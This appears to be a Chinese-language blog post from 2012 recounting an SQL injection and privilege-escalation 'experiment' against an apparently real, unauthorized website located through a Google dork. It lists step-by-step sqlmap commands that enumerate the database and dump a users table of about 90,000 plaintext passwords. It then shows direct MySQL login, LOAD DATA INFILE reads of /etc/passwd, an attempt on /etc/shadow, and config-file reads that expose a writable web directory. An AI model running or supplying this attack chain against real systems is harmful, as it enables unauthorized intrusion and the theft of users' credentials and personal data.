标题:一次 SQL 漏洞提权实验
日期:2012 年 08 月 27 日 12:42:16
标签:#
sqlmap 是一个 SQL 注入扫描工具,使用 Python 语言编写,我对它比较感兴趣,所以下载下来看看。
cmd> python sqlmap.py -h 查看帮助信息
其他 -g 选项可以通过 Google 查询来找到有 SQL 注入的网站,不过在 Python 中使用www.google.com 会出错,
对中国的用户会出错,找到源代码,位于 lib/utils/google.py,替换成www.google.com.hk就可以了。
例子:python sqlmap.py -g "allinurl: php?id="
对一个网站,找到一个注入:http://www.xxxx.net/userdetail.mpl?userid=133677
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"
找到数据库 MySQL,Apache 服务。
查看当前 MySQL 用户
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --current-user
查看数据库
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --current-db
查看用户权限,运气好,root 为管理员,接下来就简单了。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --privileges
查看表名
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --tables
找到用户表,users,下载
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --dump -T "users"
下载后,可以看到所有用户,有 9 万条数据密码居然不加密,找到 admin 和密码。
登录网页界面,没有管理界面,上传不了 webshell
扫描该网站开放端口:80,22,3306
尝试用该密码登录 SSH,不行。
直接 MySQL 登录,成功。
接下来就是 MySQL 提权了,不过 MySQL 不是 root 用户运行,权限不够,MySQL 5.1 版本,UDF 用不了。
只能利用 MySQL 的 load data in file 尝试获取系统信息:
登录 MySQL 后:
use dnnamexxx;
create table test (t varchar(3000));
load data infile '/etc/passwd' into table test;
select * from test;
成功出来用户信息,用同样的方法获取 shadow,失败,权限不够。
用 sqlmap 直接下载系统文件
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/my.cnf
下载 MySQL 配置文件
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/httpd/conf/httpd.conf
功夫不负有心人,终于在这些文件找到了网站的一些目录:
/opt/images/
成功的在网页上访问到
可以写文件进去,不过该网站用 Perl,不熟悉,暂时先到这里。
总结:可以看到,一个小小的漏洞,可以突破一个网站,甚至拿到 root。